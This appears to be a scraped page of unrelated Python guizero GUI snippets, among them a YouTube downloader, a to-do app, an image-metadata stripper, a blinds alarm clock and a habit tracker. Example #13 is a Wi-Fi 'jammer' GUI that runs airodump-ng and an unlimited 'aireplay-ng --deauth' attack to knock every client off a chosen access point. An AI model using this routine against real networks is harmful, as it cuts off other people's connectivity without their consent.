示例#1
0
def get_video():
    link = get_link_val()
    try:
        video = YouTube(str(link))
        title = video.title
        thumbnail_response = requests.get(video.thumbnail_url)
        img = Image.open(BytesIO(thumbnail_response.content))
        quality = video.streams.filter(progressive=True)
        global selected_quality
        selected_quality = [items.resolution for items in quality]
    except pytube.exceptions.RegexMatchError:
        #global video_box
        video_box.width = "fill"
        guizero.Text(video_box, text=" ")
        txt = guizero.Text(video_box,
                           text="Please enter a valid YouTube video link")
    except urllib.error.URLError:
        video_box.width = "fill"
        guizero.Text(video_box, text=" ")
        txt = guizero.Text(
            video_box,
            text="Please check your internet connection and try again")
        guizero.Text(video_box, text=" ")
        global try_again
        try_again = guizero.PushButton(app,
                                       text="Try again",
                                       command=start_download_thread)
        guizero.Text(app, text=" ")
    else:
        #global video_box
        picture_box = guizero.Box(video_box,
                                  align="left",
                                  width=100,
                                  height="fill")
        info_box = guizero.Box(video_box,
                               align="right",
                               width=display_width - 100,
                               height="fill")
        thumbnail = guizero.Picture(picture_box,
                                    image=img,
                                    align="left",
                                    width=100,
                                    height=100)
        title = guizero.Text(info_box, text=title, width="fill")
        download_box = guizero.Box(info_box, width=75, height=50)
        global qualities
        download_btn = guizero.PushButton(download_box,
                                          text="Download",
                                          command=download_video,
                                          args=[
                                              quality[selected_quality.index(
                                                  qualities.value)],
                                              os.getcwd(), title
                                          ])
        qualities = guizero.ListBox(
            info_box,
            items=[item.resolution for item in quality],
            width=100,
            height=100)
    loading_text.destroy()
示例#2
0
def main():
    # making entertask a global variable so we can access its value from any method
    global enterTask
    global box

    enterTask = guizero.TextBox(app, text="Enter a Task", width=50)

    guizero.Text(app, text=" ")
    guizero.PushButton(app, command=addTask, text="Add Task")

    showAll()

    # drawing elements in the bottom of the screen
    # creating a box object to align to the bottom of the screen
    box = guizero.Box(app, width="fill", align="bottom")
    guizero.PushButton(box,
                       text="Delete All",
                       align="right",
                       command=deleteAll)
    guizero.PushButton(box,
                       text="Delete Selected",
                       align="right",
                       command=removeTask)
    guizero.PushButton(box,
                       text="Complete task",
                       align="left",
                       command=completeTask)
示例#3
0
def main():
    guizero.Text(app, text=" ")
    guizero.Text(app, text="Youtube Video Downloader")
    guizero.Text(app, text=" ")
    guizero.Text(app, text="Insert the video link below")
    guizero.Text(app, text=" ")
    global video_link
    video_link = guizero.TextBox(app, width=int(display_width * 0.1))
    guizero.Text(app, text=" ")
    global push_btn
    push_btn = guizero.PushButton(app,
                                  text="Search Video",
                                  command=start_download_thread)
    global video_box
    video_box = guizero.Box(app, width=int(display_width - 100), height=100)
示例#4
0
def photoUpload():
    
    box1=guizero.Box(app, layout="grid")
    text1=guizero.Text(box1,text="Hvor mange minutter skal der filmes? ", grid=[0,0])
    minutes=guizero.TextBox(box1,text="", grid=[1,0])
    minutes.focus()
    text2=guizero.Text(box1, text="hvor mange sekunder mellem hvert billede? ",grid=[0,1])
    timelapse=guizero.TextBox(box1,text="", grid=[1,1])
    text3=guizero.Text(box1, text="filnavn ? ",grid=[0,2])
    filename=guizero.TextBox(box1,text="", grid=[1,2])
    text4=guizero.Text(box1, text=("størrelse: "),grid=[0,3])
    picsize=guizero.Slider(box1, start=640, end=3280, grid=[1,3])
    
    
       
    
    button1=guizero.PushButton(box1, command=lambda:printit(minutes.get(),timelapse.get(),filename.get()), text="Submit",grid=[1,5])
示例#5
0
def open_image():
    global input_box
    global return_box
    metadata = None
    return_box = guizero.Box(app, width="fill")
    try:
        # using PIl to open image
        img = Image.open(input_box.value)
        # opening pyexiv2 instance from image
        meta = Meta(input_box.value)
        # opening the instance like this so that we don't close it after reading metadata so object is still in memory, although this can cause a memory leak

        # with Meta(input_box.value) as meta: -> using this method will delete the object and we will no longer have access to it in the clear meta function
        metadata = meta.read_exif()
        message = guizero.Text(return_box, text="")
        thumbnail = guizero.Picture(return_box,
                                    image=img,
                                    width=100,
                                    height=100)
        message = guizero.Text(return_box, text="")
        if not metadata:
            # picture has no metadata
            listbox = guizero.ListBox(return_box,
                                      items=["No metadata was extracted"],
                                      width="fill",
                                      height=50)
        else:
            listbox = guizero.ListBox(return_box, items=[], width="fill")
            cancel = guizero.PushButton(buttons_box,
                                        text="Strip Metadata",
                                        align="right",
                                        command=clear_meta,
                                        args=[meta])
            for _ in metadata.items():
                # add each item in metadata to listbox
                listbox.append(f"{_[0]}:     {_[1]}")
    except FileNotFoundError:
        message = guizero.Text(return_box, text="")
        thumbnail = guizero.Picture(return_box,
                                    image=f'error.jpeg',
                                    width=200,
                                    height=200)
        message = guizero.Text(return_box, text="")
        message = guizero.Text(return_box, text="Image not found")
示例#6
0
        else:
            raise ValueError("speed oops " + rspeed)
        if rtype == 'goto target':
            posn = self.mfields['targetpos'].getValue()
            print('doit', rtype, posn, speed)
            self.motor.goto(targetpos=posn, speed=speed)
        elif rtype in ('run forward', 'run reverse'):
            self.motor.setspeed(
                speed=speed if rtype == 'run forward' else -speed)
        else:
            raise ValueError('rtype oops ' + rtype)


app = gz.App(title="Motor testing")
starttime = time.time()
header = gz.Box(app, align='top', width='fill')
elapsed = gz.Text(header, text="clock here", align='right')
mpanel = gz.Box(app, align='left', layout='grid')

pfields = {}
for y, field in enumerate(motorfields):
    l = field[1](mpanel, grid=[0, y], **field[2])
    pfields[field[0]] = {
        'y': y,
        'class': field[3],
        'kwargs': field[4],
    }
motorpan = motorPanel(motor=chipdrive.tmc5130(),
                      gridx=1,
                      pfields=pfields,
                      panel=mpanel)  #loglvl='rawspi'
示例#7
0
def videoNoUpload():
    pass


app = guizero.App(title="Surveillance tools")

menu = guizero.MenuBar(app,
                       toplevel=["Photo", "Video"],
                       options=[[["With upload", photo_choice],
                                 ["Without upload", photoNoUpload]],
                                [["with upload", video_choice],
                                 ["Without upload", videoNoUpload]]])
message = guizero.Text(app, text="Hvad skal vi lave i dag?", grid=[0, 0])
blank_message = guizero.Text(app, text="")
box0 = guizero.Box(app, layout="grid")
box0_text0 = guizero.PushButton(box0,
                                text="Tryk f for foto",
                                command=photo_choice,
                                grid=[0, 2])
box0_text1 = guizero.PushButton(box0,
                                text="Tryk v for video",
                                command=video_choice,
                                grid=[0, 3])
box0_text2 = guizero.PushButton(box0,
                                text="Tryk p for livepreview",
                                command=preview_only,
                                grid=[0, 4])
box0.show()
box1 = guizero.Box(app, layout="grid")
box1.hide()
示例#8
0
		for i in data:
			file.write(i)
		file.close
		if deletedfiles ==[]:
			report.append('⮚ No old file deleted')
		else:
			report.append('⮚ All old files deleted')

	except:
		report.append("⮚ ERROR IN DELETING FILES")


app = gz.App(title="PizzaDeleter")
app.tk.iconbitmap('pizzicon.ico')

deletebar = gz.Box(app, width="fill", height=25)
filebutton = gz.PushButton(deletebar, text="File", align="left", height="fill", command=filebutton)
filebox = gz.TextBox(deletebar, align="left", width="fill", height="fill")
deletebutton = gz.PushButton(deletebar, text="DELETE", align="right", height="fill", command=movefolder)


report = gz.TextBox(app, text="⮚ Deleting older than 48 hours",  width="fill", height="fill", multiline=True, scrollbar=True)
deleteold()
report.append('⮚ Select a file and click on DELETE')



app.display()
zipfiler.zipper()

示例#9
0
  Run = False
  stop.disable()
  start.enable()

# most important function
def Ukonci_meranie():
  exit()

# collect data pack it and send it away
def Read_Send():
  if Run:
    msg = "cpu:"+str(int(psutil.cpu_percent()))
    UDPClientSocket.sendto(msg.encode(), serverAddressPort)

# let's build the gui
aplikacia = guizero.App(title="Meranie CPU na dialku")
okienko = guizero.Box(aplikacia, layout = "grid")
start = guizero.PushButton(okienko, command=Start_meranie, text = "Start", grid = [0,0])
stop = guizero.PushButton(okienko, command=Stop_meranie, text = "Stop", grid = [1,0])
koniec = guizero.PushButton(okienko, command=Ukonci_meranie, text = "Koniec", grid = [2,0])
stop.disable()

# main loop
try:
  UDPClientSocket = socket.socket(family=socket.AF_INET, type=socket.SOCK_DGRAM)
  aplikacia.repeat(400, Read_Send)
  aplikacia.display()
      
except KeyboardInterrupt:
 pass
示例#10
0
from tkinter import *
from tkinter import filedialog
import guizero
from PIL import ImageTk, Image
import os
from pyexiv2 import Image as Meta

# setting global varialbes
input_box = None
thumbnail = None
listbox = None
return_box = None

# creating app window and box widget
app = guizero.App(title="Metas-Strip")
buttons_box = guizero.Box(app, width="fill", align="bottom")


# about function
def about():
    pass


# function to clear screen
def clear_all():
    global return_box

    # destroy return box and all items in it
    return_box.destroy()

示例#11
0
def main():
    guizero_app = guizero.App(
        title="Window blinds automatic opener & closer",
        width=500,
        height=700)
    vertical_spacer(guizero_app, 10)

    pin_window_blinds_direction = 12  # GPIO pin 12 == Raspberry Pi pin 32
    pin_window_blinds_pwm = 16  # GPIO pin 16 == Raspberry Pi pin 36
    window_blinds = WindowBlinds(
        guizero_app, pin_window_blinds_direction,
        pin_window_blinds_pwm)

    pin_neopixel = board.D18  # GPIO pin 18 == Raspberry Pi pin 12
    led_count = 35
    maximum_duty_cycle = 5  # limit the led brightness
    neopixel_ring_clock = NeopixelRingClock(pin_neopixel, led_count,
                                            maximum_duty_cycle)
    neopixel_ring_clock.update()

    datetime_daily_alarm_close = None
    datetime_daily_alarm_open = None
    datetime_one_time_alarm_open = None

    vertical_spacer(guizero_app, 10)
    box_brightness = guizero.Box(guizero_app, width="fill")
    box_brightness.set_border(1, "#aaaaaa")
    guizero.Text(box_brightness, text="LED brightness").tk.configure(
        font=("Liberation Sans", 12, "bold"))

    def handle_brightness_changed():
        neopixel_ring_clock.max_brightness = int(slider_brightness.value)
        neopixel_ring_clock.update()
    slider_brightness = guizero.Slider(box_brightness, start=0, end=255,
                                       command=handle_brightness_changed, width="fill")
    slider_brightness.value = maximum_duty_cycle

    vertical_spacer(guizero_app, 40)
    ########################################################################
    #################### Create GUI for daily alarm ########################
    ########################################################################
    box_daily_alarm = guizero.Box(guizero_app, width="fill")
    box_daily_alarm.set_border(1, "#aaaaaa")
    guizero.Text(box_daily_alarm, text="Daily alarm").tk.configure(
        font=("Liberation Sans", 12, "bold"))
    vertical_spacer(box_daily_alarm, 10)

    # Duration before sunrise to close the blinds
    box_close_blinds_time = guizero.Box(box_daily_alarm)
    guizero.Text(box_close_blinds_time, text="Close the blinds ", align="left")
    textbox_duration_before_sunrise = guizero.TextBox(box_close_blinds_time,
                                                      align="left", text="1 hour")
    guizero.Text(box_close_blinds_time, text=" before sunrise.",
                 align="left")

    # What time to open the blinds afterwards
    box_open_blinds_time = guizero.Box(box_daily_alarm)
    guizero.Text(
        box_open_blinds_time,
        text="Then, open the blinds at ",
        align="left")
    textbox_open_blinds_time = guizero.TextBox(box_open_blinds_time,
                                               text="11 AM", align="left")
    guizero.Text(box_open_blinds_time, text=".", align="left")

    text_daily_alarm_status = guizero.Text(box_daily_alarm,
                                           text="Click the button below to set the daily alarm.")
    vertical_spacer(box_daily_alarm, 10)
    text_daily_alarm_status2 = guizero.Text(box_daily_alarm,
                                            text="Second line of status")
    vertical_spacer(box_daily_alarm, 10)
    text_daily_alarm_status3 = guizero.Text(box_daily_alarm,
                                            text="Third line of status")

    def set_daily_alarm(for_date=None):
        # Close the blinds a user-specified amount of time before sunrise.
        # Open the blinds at a user specified absolute time.

        # Coordinates for the City of Santa Clara, California
        sun = suntime.Sun(37.354444, -121.969167)

        if for_date is None:
            # If the date to get the sunrise for isn't speficied,
            # schedule the blinds to open for the next future sunrise.
            datetime_now = datetime.now().astimezone()
            date_today = datetime_now.date()
            is_pm = datetime_now.hour > 11
            if is_pm:
                # Sunrise is always in the AM. If the current time is PM,
                # schedule the blinds to open for tomorrow's sunrise.
                date_tomorrow = date_today + timedelta(days=1)
                datetime_sunrise = sun.get_sunrise_time(
                    date_tomorrow).astimezone()

            else:
                # Check if sunrise already happened
                datetime_sunrise_today = sun.get_sunrise_time(
                    date_today).astimezone()

                if datetime_sunrise_today <= datetime_now:
                    # Sunrise already happened today. Schedule the blinds
                    # to open for tomorrow's sunrise.
                    date_tomorrow = date_today + timedelta(days=1)
                    datetime_sunrise = sun.get_sunrise_time(
                        date_tomorrow).astimezone()
                else:
                    # sunrise is in the future today
                    datetime_sunrise = datetime_sunrise_today

        else:
            # Use the date given in the keywork argument.
            datetime_sunrise = sun.get_sunrise_time(for_date).astimezone()

        nonlocal datetime_daily_alarm_close

        seconds_before_sunrise = Duration(
            textbox_duration_before_sunrise.value).to_seconds()
        datetime_daily_alarm_close = (datetime_sunrise -
                                      timedelta(seconds=seconds_before_sunrise)).astimezone()

        # When to open the blinds - get an absolute time from user.
        datetime_parsed_open_at = dateparser.parse(
            textbox_open_blinds_time.value).astimezone()

        nonlocal datetime_daily_alarm_open

        if datetime_parsed_open_at is None:
            text_daily_alarm_status.text_color = "red"
            text_daily_alarm_status.value = "Couldn't parse date from string"
            datetime_daily_alarm_open = None
            return

        datetime_daily_alarm_open = datetime.combine(datetime_sunrise.date(),
                                                     datetime_parsed_open_at.time()).astimezone()

        if datetime_daily_alarm_open <= datetime_daily_alarm_close:
            text_daily_alarm_status.text_color = "red"
            text_daily_alarm_status.value = \
                "Trying to set blinds to open before they close:" + \
                "\ndatetime_daily_alarm_open = " + \
                datetime_daily_alarm_open.strftime(DATETIME_FORMAT_STRING) + \
                "\ndatetime_daily_alarm_close = " + \
                datetime_daily_alarm_close.strftime(DATETIME_FORMAT_STRING)
            datetime_daily_alarm_open = None
            return

        neopixel_ring_clock.put_alarm_region("daily",
                                             datetime_daily_alarm_close, datetime_daily_alarm_open)

        text_daily_alarm_status.text_color = "black"
        text_daily_alarm_status.value = \
            "\nSunrise is:\n" + \
            datetime_sunrise.strftime(DATETIME_FORMAT_STRING) + \
            "\n\nClose blinds at:\n" + \
            datetime_daily_alarm_close.strftime(DATETIME_FORMAT_STRING) + \
            "\n\nThen open blinds at:\n" + \
            datetime_daily_alarm_open.strftime(DATETIME_FORMAT_STRING)

    guizero.PushButton(box_daily_alarm, text="Update daily alarm",
                       command=set_daily_alarm)

    vertical_spacer(guizero_app, 40)

    #################################################################
    ################## Create gui for a one-time alarm ##############
    #################################################################
    box_one_time_alarm = guizero.Box(guizero_app, width="fill")
    box_one_time_alarm.set_border(1, "#aaaaaa")
    guizero.Text(box_one_time_alarm,
                 text="One-time alarm").tk.configure(font=("Liberation Sans", 12, "bold"))
    vertical_spacer(box_one_time_alarm, 10)

    box_one_time_alarm_time = guizero.Box(box_one_time_alarm)
    guizero.Text(box_one_time_alarm_time,
                 text="Close blinds now, then open blinds ", align="left")
    textbox_one_time_alarm = guizero.TextBox(box_one_time_alarm_time,
                                             text="in 20 seconds", align="left", width=20)
    guizero.Text(box_one_time_alarm_time, text=".", align="left")

    text_one_time_alarm_status = guizero.Text(box_one_time_alarm,
                                              text="Click the button below to set a one-time alarm.")

    def set_one_time_alarm():
        datetime_parsed = dateparser.parse(textbox_one_time_alarm.value) \
            .astimezone()
        datetime_now = datetime.now().astimezone()
        nonlocal datetime_one_time_alarm_open

        if datetime_parsed is None:
            text_one_time_alarm_status.text_color = "red"
            text_one_time_alarm_status.value = \
                "Couldn't parse date from string"
            datetime_one_time_alarm_open = None
            return

        total_seconds = (datetime_parsed - datetime_now).total_seconds()
        if total_seconds < 1:
            text_one_time_alarm_status.text_color = "red"
            text_one_time_alarm_status.value = \
                "Can't set alarm to ring in the past"
            datetime_one_time_alarm_open = None
            return

        if total_seconds >= 60 * 60 * 24:
            text_one_time_alarm_status.text_color = "red"
            text_one_time_alarm_status.value = "Setting alarm to ring " + \
                "more than one day in the future is not supported"
            datetime_one_time_alarm_open = None
            return

        datetime_one_time_alarm_open = datetime_parsed

        # Starts the blinds closing, returns immediately, does not block.
        window_blinds.go_to_closed()

        neopixel_ring_clock.put_alarm_region("one-time", datetime_now,
                                             datetime_one_time_alarm_open)
        text_one_time_alarm_status.text_color = "black"
        text_one_time_alarm_status.value = "Submitted"

    guizero.PushButton(box_one_time_alarm, text="Set one-time alarm",
                       command=set_one_time_alarm)

    def tick():
        datetime_now = datetime.now().astimezone()

        nonlocal datetime_one_time_alarm_open
        nonlocal datetime_daily_alarm_close
        nonlocal datetime_daily_alarm_open

        if datetime_daily_alarm_close is not None:
            timedelta_to_daily_alarm_close = \
                datetime_daily_alarm_close - datetime_now
            total_seconds = timedelta_to_daily_alarm_close.total_seconds()
            #print(f"total_seconds until daily alarm close: {total_seconds}")
            if total_seconds > 0:
                hours, minutes, seconds = \
                    timedelta_split(timedelta_to_daily_alarm_close)
                text_daily_alarm_status2.value = \
                    f"Blinds will close in {hours} hr {minutes} min {seconds} sec"
            else:
                #print("which is leq zero, so I am closing the blinds")
                text_daily_alarm_status2.value = \
                    f"Blinds closed at\n{datetime_now.strftime(DATETIME_FORMAT_STRING)}."
                datetime_daily_alarm_close = None
                window_blinds.go_to_closed()

        if datetime_daily_alarm_open is not None:
            timedelta_to_daily_alarm_open = \
                datetime_daily_alarm_open - datetime_now
            total_seconds = timedelta_to_daily_alarm_open.total_seconds()
            #print(f"total_seconds until daily alarm open:  {total_seconds}")
            if total_seconds > 0:
                hours, minutes, seconds = \
                    timedelta_split(timedelta_to_daily_alarm_open)
                text_daily_alarm_status3.value = \
                    f"Blinds will open in {hours} hr {minutes} min {seconds} sec"
            else:
                #print("    which is leq zero, so I am opening the blinds")
                text_daily_alarm_status3.value = \
                    f"Blinds opened at\n{datetime_now.strftime(DATETIME_FORMAT_STRING)}."
                datetime_daily_alarm_open = None
                window_blinds.go_to_open()
                date_tomorrow = date.today() + timedelta(days=1)
                set_daily_alarm(date_tomorrow)

        if datetime_one_time_alarm_open is not None:
            timedelta_to_one_time_alarm_open = \
                datetime_one_time_alarm_open - datetime_now
            total_seconds = timedelta_to_one_time_alarm_open.total_seconds()
            if total_seconds > 0:
                hours, minutes, seconds = \
                    timedelta_split(timedelta_to_one_time_alarm_open)
                text_one_time_alarm_status.value = f"One-time alarm will ring in {hours} hr {minutes} min {seconds} sec"
            else:
                text_one_time_alarm_status.value = f"One-time alarm rang at\n{datetime_now.strftime(DATETIME_FORMAT_STRING)}."
                datetime_one_time_alarm_open = None
                neopixel_ring_clock.remove_alarm_region("one-time")
                window_blinds.go_to_open()

        neopixel_ring_clock.update()

    set_daily_alarm()
    guizero_app.repeat(1000, tick)
    guizero_app.display()  # blocks until the guizero window is closed
    window_blinds.stop()
    neopixel_ring_clock.all_off()
示例#12
0
def vertical_spacer(parent, height):
    guizero.Box(parent, height=str(height))
示例#13
0
def gui():

	def monitor():
        	#gets status info related to monitoring mode
		status_list.append(start_adapter(interface_name))
		logger.info('entered function monitor')

	def list_APs():
		wifi_list.clear()
		#gets list of nearby APs
		nearby_APs = locate_APs(interface_in_monitor_mode)    
		for AP in nearby_APs:
			AP_name = AP[0]
			wifi_list.append(AP_name)

	def network_reset():
    	    #resets the network adapter to its original state
    	    messages = stop_adapter(interface_in_monitor_mode)
        
    	    for message in messages:
    	        status_list.append(message)

	def change_selected_ssid(value):
		#displays the selected AP in the textbox
		text_box_ssid.value = value

	def disrupt_AP():
		logger.info('disrupt ap button clicked')
		essid = text_box_ssid.value
		essid = essid.lstrip(' ')
		essid = essid.rstrip(' ')
		#disrupts the selected wireless_AP
		desired_router = " "
		logger.info("routers found are:-")
		router_found = 0
		for router in wireless_APs:
			logger.info(router)
			logger.info(router[0])
			essid1 = str(router[0])
			essid1 = essid1.lstrip(' ')
			essid1 = essid1.rstrip(' ')
			channel1 = str(router[1])
			bssid1 = str(router[2])
			logger.info('essid1 = '+ essid1)
			logger.info('essid = ' + essid)
			if essid == essid1:
				router_found = 1
				logger.info("desired router located")
				desired_router = router
				print(router)
				logger.info(router)
				status_list.append(("Locking %s communicating on channel %s with BSSID %s " %(desired_router[0],desired_router[1],desired_router[2])))
				break
		if router_found == 0:
			status_list.append(("Error!! : Could not find wireless AP with ESSID %s"%(essid)))		  
			logger.info(essid + "is chosen to be jammed")
  
		else:
			logger.info("locking airodump onto given ap")
			command = "xterm -geometry -500+100 -T 'locking channel " + desired_router[1] + "' -e ' timeout 5 airodump-ng --bssid " + desired_router[2] + " -c " + desired_router[1] + " " + interface_in_monitor_mode + " '"
			os.system(command)
			status_list.append("target locked successfullly")
			status_list.append("deauthenticating all clients from the AP (press ctrl + C to exit)")
			command = "xterm -geometry -500+100 -T 'deauthenticating all users from " + desired_router[0] + " (press ctrl+c to stop)' -e 'aireplay-ng --deauth 0 -a " + desired_router[2] + " " + interface_in_monitor_mode +  " '"
			os.system(command)
			logger.info("\n deauthenticating all clients")

		
	jammer = g.App(title = title, width = window_width, height = window_height, layout = "grid" )


	info_box = g.Box(
		jammer,
		width = 'fill',
		grid = [0,0],
		)    
	text1 = g.Text(
		jammer,
		text = "Wireless AP's in the nearby area are -",
		size = "12",
		color = "black",
		bg = None,
		font = None,
		grid = [0,0],
		align = "left",
		width = 'fill',
		height = None, 
	 
		)

	text2 = g.Text(
		jammer,
		text = "Info -",
		size = "12",
		color = "black",
		bg = None,
		font = None,
		grid = [1,0],
		align = "left",
		width = 'fill',
		height = None, 
	 
		)

	#wifi ap listbox
	wifi_list = g.ListBox(
	    jammer, 
	    grid = [0,1], 
	    align = l_align, 
	    scrollbar = l_scrollbar, 
	    height = l_height,
	    items = ["No nearby AP's found"],
	    width = l_width,
            command = change_selected_ssid,
	    )

	#status listbox
	status_list = g.ListBox(
	    jammer, 
	    grid = [1,1], 
	    align = "left", 
	    scrollbar = "True", 
	    height = "200",
	    items = ["System Initialized"],
	    width = "300",
	    )


	#A box widget that holds all buttons
	button_box = g.Box(
		jammer, width="fill",
		grid = [0,3],
		)


	#StartScan PushButton

	exit_button = g.PushButton(
		button_box,
		command = change_selected_ssid,
		text = "Scan",
		align = "left",

	    )

	#Network Reset PushButton

	network_reset = g.PushButton(
		button_box,
		command = network_reset,
		text = "Reset Network Adapter",
		align = "left",

	    )


	#Exit PushButton

	exit_button = g.PushButton(
		button_box,
		command = exit,
		text = "Exit",
		align = "left",

	    )


	#A box widget that holds selected ap
	selected_box = g.Box(
		jammer, 
		width="fill",
		grid = [0,4],
		border = True,
		)   



	text = g.Text(
		     selected_box,
		     text="Selected wireless AP is",
		     align="left",)

	text_box_ssid = g.TextBox(
			selected_box,
		        text="No Wireless AP Selected",
		        align="left",
			width = 'fill',
			)

	Disrupt = g.PushButton(
			selected_box,
		        text="Disrupt",
			command=disrupt_AP,
		        align="left",
			)

	    
	status_list.after(100,monitor)
	wifi_list.after(100,list_APs)
		
	jammer.display()
示例#14
0
    username = username_entry_textbox.value
    graph_name = graph_name_combo.value
    graph_url = f'https://pixe.la/v1/users/{username}/graphs/{graph_name}.html'
    webbrowser.open_new(graph_url)


def change_to_custom():
    """Changes the date option radio button selection to 'custom.'"""
    date_option_button_list = date_option.children
    date_option_button_list[1].tk.select()


# Widgets -----

# # Header Box
header_box = gui.Box(app, grid=[0, 0, 3, 1], width=510, height=80)

header_sub_box = gui.Box(header_box)
pixela_logo = gui.Picture(header_sub_box,
                          image='images/PIXELA_RED.png',
                          width=60,
                          height=60,
                          align='left')
header_text = gui.Text(header_sub_box,
                       text='Habit Tracker',
                       align='right',
                       size=48)

# # Graph Properties Box
graph_properties_box = gui.Box(app,
                               grid=[0, 1, 3, 1],
示例#15
0
def count():
    pass


# number_of_chars.value = "Number of Chars: " + str(len(tweet.value) - 1)


def count_tweets():
    num = (math.ceil((len(tweet.value) - 1) / 250))
    number_of_tweets.value = "Number of Tweets: " + str(num)


if __name__ == '__main__':
    app = guizero.App()
    title_box = guizero.Box(app, align='top')

    # title box
    title = guizero.Text(title_box, "Send a Tweet!", align='top')

    # # read from file or show key
    #     choose_key_area = guizero.Box(app, visible=True)
    #     choose_insert_key = guizero.PushButton(choose_key_area, text="Insert Key", align="left", command=insert_selected)
    #     choose_import_key = guizero.PushButton(choose_key_area, text="Import Key", align="right", command=import_selected)
    #

    # # one line: insert key, button
    #     api_key_line = guizero.Box(title_box, visible=False)
    #
    #     list_of_keys_area = guizero.Box(title_box, visible=False,)
    #